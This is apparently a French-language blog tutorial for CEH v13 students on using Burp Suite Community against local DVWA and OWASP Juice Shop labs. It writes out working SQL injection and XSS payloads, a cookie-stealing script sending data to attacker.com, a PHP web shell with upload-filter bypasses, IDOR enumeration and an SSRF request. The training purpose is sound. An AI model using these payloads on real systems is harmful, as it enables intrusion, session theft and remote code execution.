ITSkillsCenter
Cybersécurité

Exploitation web avec Burp Suite Community — tutoriel CEH 2026

13 min de lecture

Maîtriser Burp Suite Community Edition pour intercepter des requêtes HTTP, manipuler les paramètres avec Repeater, fuzzer avec Intruder, exploiter SQL injection, XSS, IDOR, SSRF, file upload sur DVWA et OWASP Juice Shop. Six scénarios d’attaque complets pour le CEH v13.

📍 À lire d’abord : Passer le CEH v13 depuis l’Afrique de l’Ouest — Guide complet 2026 · Lab CEH avec Kali Linux + DVWA + HTB Academy.

⚠️ Ce tutoriel s’exécute exclusivement contre DVWA et OWASP Juice Shop installés en local dans ton lab Kali. Aucune cible Internet sans autorisation écrite.

Introduction

Le module 14 Hacking Web Applications (~8 % de l’examen CEH v13) repose entièrement sur la maîtrise d’un proxy HTTP intercepteur. Burp Suite est le standard de l’industrie depuis 15 ans. La Community Edition est gratuite et couvre 90 % des besoins CEH ; la Pro (449 USD/an) ajoute le scanner automatique et des outils Intruder accélérés, indispensable au pentester pro mais pas requis pour l’examen.

Ce tutoriel construit le workflow complet : configuration Burp + Firefox, interception et modification de requêtes, attaques OWASP Top 10 sur DVWA. Tu pratiqueras six scénarios représentatifs : SQL injection, XSS reflected, XSS stored, IDOR, file upload bypass, et SSRF. À la fin, tu sauras reproduire en autonomie les questions pratiques du CEH sur les applications web vulnérables.

Prérequis

  • Lab Kali Linux 2026.1 + DVWA installé (cf. tutoriel lab CEH).
  • Familiarité HTTP (méthodes GET/POST, headers, cookies, status codes).
  • Notions SQL (SELECT, UNION, OR/AND).
  • Notions JavaScript pour XSS (alert(), document.cookie).
  • Niveau attendu : intermédiaire.
  • Temps estimé : 4-5 heures pour les six scénarios.

Étape 1 — Lancer Burp Suite et configurer Firefox

Burp est préinstallé sur Kali. Lance-le depuis le menu Applications > Web Application Analysis > burpsuite, ou en CLI :

burpsuite &

Au premier démarrage : Start Burp > Temporary project > Use Burp defaults.

Configure Firefox pour utiliser Burp comme proxy. Trois options :

Option recommandée — Firefox dédié : Burp inclut un navigateur Chromium intégré (onglet Proxy > Open Browser). C’est le plus simple, isolé du Firefox principal.

Option Firefox principal avec FoxyProxy :

1. Installer extension FoxyProxy dans Firefox
2. Configurer un proxy:
   Title: Burp
   Type: HTTP
   Hostname: 127.0.0.1
   Port: 8080
3. Activer FoxyProxy > Burp pour rediriger
4. Importer le certificat Burp pour HTTPS:
   - Aller sur http://burp via Firefox+Burp activé
   - Télécharger le CA certificate
   - Firefox Settings > Privacy & Security > Certificates > View > Import > Trust for websites

Sans le certificat, toutes les pages HTTPS afficheront une erreur de sécurité — Burp ne peut pas intercepter sans MITM SSL.

Option Firefox manuel sans FoxyProxy : Settings > Network Settings > Manual proxy > 127.0.0.1:8080 pour HTTP et HTTPS.

Vérifie que ça marche : navigue vers http://localhost (DVWA) et observe l’onglet Burp Proxy > HTTP history. Tu dois voir la requête.

Étape 2 — Comprendre les onglets de Burp Suite

Vue d’ensemble des onglets que tu utiliseras :

Dashboard       : vue globale, scans et tasks (peu utilisé en CE)
Target          : sitemap des URLs visitées + scope filter
Proxy           : interception en temps réel, HTTP history, WebSocket history
Intruder        : fuzzer pour automatiser les payloads (limité en CE)
Repeater        : modification + replay manuel des requêtes (l'outil le plus utilisé)
Sequencer       : analyse de l'aléatoire des tokens de session
Decoder         : encodage/décodage Base64, URL, Hex, etc.
Comparer        : diff entre deux requêtes ou réponses
Logger          : log des requêtes (ajout récent à la CE)
Extender        : extensions BApp Store

Pour 95 % du travail CEH, tu utiliseras Proxy (interception) + Repeater (manipulation) + Intruder (fuzzing) + Decoder (encodage).

Étape 3 — Premier interception : modification d’une requête

Active l’interception : Proxy > Intercept on. Naviguer dans DVWA va maintenant figer chaque requête en attente de validation.

Dans DVWA, login admin / password, puis va dans Vulnerabilities > Brute Force. Saisis username = admin et password = test, clique Login. Burp intercepte. Tu vois la requête GET avec les paramètres :

GET /vulnerabilities/brute/?username=admin&password=test&Login=Login HTTP/1.1
Host: localhost
Cookie: PHPSESSID=...; security=low

Modifie password=test en password=password directement dans Burp, puis Forward. La requête modifiée arrive sur le serveur, qui authentifie correctement. C’est exactement le principe d’une attaque MITM.

Désactive l’interception (Intercept off) pour ne plus être ralenti, et observe l’onglet HTTP history : toutes les requêtes que tu fais sont enregistrées et inspectables a posteriori.

Étape 4 — Scénario 1 : SQL injection avec Repeater

Dans DVWA, va à Vulnerabilities > SQL Injection. Saisis User ID = 1 et clique Submit. Burp HTTP history montre :

GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1

Réponse : informations de l’utilisateur 1.

Click-droit sur cette requête > Send to Repeater. L’onglet Repeater s’ouvre avec la requête éditable. Modifie id=1 en id=1' OR '1'='1 (n’oublie pas l’URL-encoding : id=1%27+OR+%271%27%3D%271). Click Send.

Réponse : tous les utilisateurs apparaissent. Première SQL injection réussie. La query SQL côté serveur ressemble à SELECT * FROM users WHERE user_id = '1' OR '1'='1' qui retourne tous les enregistrements.

Pour extraire le nombre de colonnes (utile en UNION-based) :

id=1' ORDER BY 1-- -        → fonctionne
id=1' ORDER BY 2-- -        → fonctionne
id=1' ORDER BY 3-- -        → erreur → 2 colonnes

Ensuite UNION-based pour extraire des données :

id=1' UNION SELECT 1,2-- -                                  → confirme 2 colonnes
id=1' UNION SELECT user,password FROM users-- -            → dump des hashs
id=1' UNION SELECT version(),database()-- -                 → version MySQL + DB
id=1' UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schema=database()-- -

Documenter la chaîne complète d’exploitation : c’est exactement ce qu’on attend dans un rapport de pentest.

Étape 5 — Scénario 2 : XSS reflected

Va à Vulnerabilities > XSS (Reflected). Le champ Name renvoie sa valeur dans la page, sans filtrage. Test simple :

<script>alert('XSS')</script>

URL générée : /vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E. La popup s’affiche, prouvant l’injection.

Pour exploiter en pratique, on vise généralement le vol de cookie de session :

<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

En CEH, on ne va pas jusqu’à l’exfiltration vers un serveur externe (qu’on ne contrôle pas en lab) — on documente la possibilité.

Tester aussi avec des payloads contournant les filtres niveau medium/high de DVWA :

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
"><script>alert(1)</script>

Le filtre niveau medium dans DVWA bloque <script> mais laisse passer <img>. Le niveau high utilise htmlspecialchars() qui bloque tout — exemple de bonne défense.

Étape 6 — Scénario 3 : XSS stored

XSS stored est plus dangereux : la payload est sauvegardée côté serveur et déclenchée pour chaque visiteur. Vulnerabilities > XSS (Stored), dans le champ Message :

<script>alert('XSS Stored')</script>

Sign Guestbook. Désormais, chaque visiteur de cette page exécute la payload. Pour démontrer l’impact réel : changer pour un payload qui modifie la page (defacement) ou redirige vers un site phishing.

<script>document.body.innerHTML='<h1>Site compromis - CEH lab</h1>'</script>

Le champ Name est limité en longueur côté front (maxlength=10) — bypass en utilisant Burp pour modifier la requête après soumission, en mettant 100 caractères de payload dans Name.

Étape 7 — Scénario 4 : IDOR (Insecure Direct Object Reference)

IDOR n’est pas dans DVWA mais c’est facile à reproduire. Sur OWASP Juice Shop (que tu as installé) : login simple admin@juice-sh.op / admin123, va sur Your Basket. URL : http://localhost:3000/#/basket. La requête API derrière :

GET /api/Baskets/1 HTTP/1.1
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

Modifie 1 en 2, 3, 4 dans Repeater. Si le serveur ne vérifie pas que tu es propriétaire du basket 2, tu accèdes au panier d’un autre utilisateur — IDOR.

Pour automatiser sur 100 IDs avec Intruder (limité en Community mais fonctionnel) : Send to Intruder, sélectionner la valeur 1 comme position de payload, Payloads > Payload type: Numbers, From 1 to 100, Step 1, Start attack. Burp envoie 100 requêtes et te montre les status codes. Les 200 OK révèlent les baskets accessibles.

Étape 8 — Scénario 5 : File upload bypass

DVWA Vulnerabilities > File Upload. Niveau low : le serveur accepte n’importe quel fichier. Crée un PHP shell minimaliste :

<?php system($_GET['cmd']); ?>

Sauvegarde-le en shell.php, upload via le formulaire. Le serveur affiche le chemin : ../../hackable/uploads/shell.php. Accède à http://localhost/dvwa/hackable/uploads/shell.php?cmd=id et tu exécutes des commandes shell sur le serveur. RCE complète.

Niveau medium : le serveur vérifie le Content-Type envoyé par le navigateur. Bypass évident — on modifie le Content-Type dans Burp en image/jpeg avant forward.

Niveau high : le serveur vérifie l’extension et le contenu (magic bytes). Bypass : créer un fichier image avec PHP injecté (exiftool -comment='<?php system($_GET["cmd"]); ?>' image.jpg), uploader avec extension .php mais magic bytes JPEG, ou utiliser des techniques de double extension .php.jpg selon la config Apache.

Étape 9 — Scénario 6 : SSRF (Server-Side Request Forgery)

SSRF est dans le module 14 du CEH v13. DVWA n’a pas de SSRF natif ; on utilise OWASP Juice Shop ou PortSwigger Web Security Academy lab gratuit.

Sur PortSwigger Web Security Academy (gratuit, légal) :

1. Aller sur https://portswigger.net/web-security/ssrf
2. Lancer le lab "Basic SSRF against the local server"
3. Connecter au lab (Burp est intégré sur l'académie)
4. Sur la page produit, cliquer "Check stock"
5. La requête envoie : stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1
6. Modifier en : stockApi=http://localhost/admin
7. La réponse contient une page admin → SSRF réussie

Ce lab apprend la mécanique SSRF qu’EC-Council teste à l’examen.

Étape 10 — Erreurs fréquentes et anti-patterns

Erreur Cause Solution
Requêtes HTTPS échouent Certificat Burp CA non installé dans Firefox Importer le cert depuis http://burp et trust pour websites
Intercept off mais Burp continue d’intercepter Confusion entre Intercept (live) et HTTP history (log) Off désactive juste le freeze ; HTTP history enregistre toujours
Repeater ne montre pas le bon serveur Tu as oublié de Send to Repeater depuis la requête initiale Toujours partir d’une requête capturée, ne pas écrire en blanc
Intruder limité à 200 req/min en CE Limite Community pour pousser à acheter Pro Pour fuzzing massif, utiliser ffuf ou wfuzz à la place
Cookies de session perdus en Repeater Pas de Match&Replace pour réinjecter cookie auth Configurer Project options > Sessions > Match and Replace avec les cookies
DVWA security = high bloque tout Filtres correctement écrits Repasser en low ou medium pour la pratique, high pour valider qu’on ne sait pas exploiter
Burp consomme 4 Go RAM après 30 min Trop de requêtes en HTTP history Clear history régulièrement, ou Project Settings > Project options > Memory
Payloads URL-encodés deux fois Burp encode automatiquement, payload contient déjà des % Désactiver Auto URL-encode dans Repeater Options
Connection refused vers DVWA Container Docker arrêté, ou Apache pas démarré docker ps ou sudo systemctl status apache2

Adaptation au contexte ouest-africain

Pour les pentesters juniors ouest-africains : Burp CE suffit pour 100 % des audits PME africaines. La Pro à 449 USD/an se justifie dès que tu fais 4+ pentests web par an, pour le scanner automatique qui économise 4 heures par audit.

Pour les développeurs web qui veulent comprendre les attaques pour mieux les prévenir : ce tutoriel est précieux dans l’autre sens. Apprendre Burp côté offensif te permet de tester ton propre code avant déploiement. Plusieurs ESN africaines (Atlantique IT, Avizo, NSIA Tech) intègrent un pentest interne avec Burp avant chaque mise en prod client.

Pour les bug bounty hunters francophones : Burp CE + ffuf + nuclei = stack minimale viable. Programmes francophones ouverts : Yes, Mailchimp, Mozilla, GitLab, plusieurs gouvernements européens. La majorité des entreprises africaines n’ont pas encore de programme bounty en 2026 — opportunité pour proposer un programme à un opérateur local.

Pour les centres de formation : DVWA + OWASP Juice Shop + Burp CE + WebGoat est la stack complète pour un module Sécurité Web de 30 heures. Aucun coût matériel ni licence, déployable sur le PC de chaque étudiant.

FAQ

Burp CE vs Pro : que perd-on en CE ?

CE manque : scanner automatique (Burp Scanner), Intruder à pleine vitesse (limité à ~200 req/min en CE), extensions BApp Store réservées Pro, sauvegarde de projet structurée. Tout le reste fonctionne identique.

ZAP est-il une alternative crédible à Burp ?

OWASP ZAP est gratuit, open-source, comparable à Burp Pro pour les fonctionnalités. Sa courbe d’apprentissage est plus raide. Pour le CEH (qui mentionne ZAP comme alternative), connaître les deux est un plus. Pour la pratique quotidienne, Burp reste plus mature.

Comment intercepter le trafic d’une app mobile ?

Configurer le proxy Burp dans les settings Wi-Fi du téléphone (127.0.0.1:8080 si Kali tourne en local sur même réseau). Pour HTTPS, installer le cert Burp dans le système Android/iOS. Beaucoup d’apps font du SSL pinning — bypass nécessaire (Frida, Objection).

Les attaques ci-dessus marchent-elles encore en 2026 ?

Sur des sites correctement développés, non. Les frameworks modernes (Django, Laravel, Rails, Spring) protègent par défaut contre SQL injection, XSS, IDOR. Sur des sites legacy ou mal configurés (~30 % du parc en Afrique de l’Ouest selon l’audit ANSI Sénégal 2024), oui. Et sur OWASP Juice Shop / DVWA conçus volontairement vulnérables, toujours.

Comment garder ses sessions HTTP entre tests ?

Utiliser Burp > Project options > Sessions > Macros and Session Handling Rules. Configuration qui s’occupe de re-login si les cookies expirent. Indispensable pour tester un site avec auth complexe (OAuth, MFA).

Y a-t-il une certification dédiée Burp ?

Oui : Burp Suite Certified Practitioner (BSCP) de PortSwigger, gratuite après un parcours sur Web Security Academy. C’est devenu un standard reconnu pour les pentesters web — à passer après le CEH si tu veux progresser dans le pentest applicatif.

Pour aller plus loin


Mots-clés secondaires : Burp Suite Community pentest web, OWASP Top 10 2021, SQL injection DVWA, XSS reflected stored, IDOR juice shop, file upload bypass, SSRF tutoriel CEH, proxy intercepteur HTTP.

Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité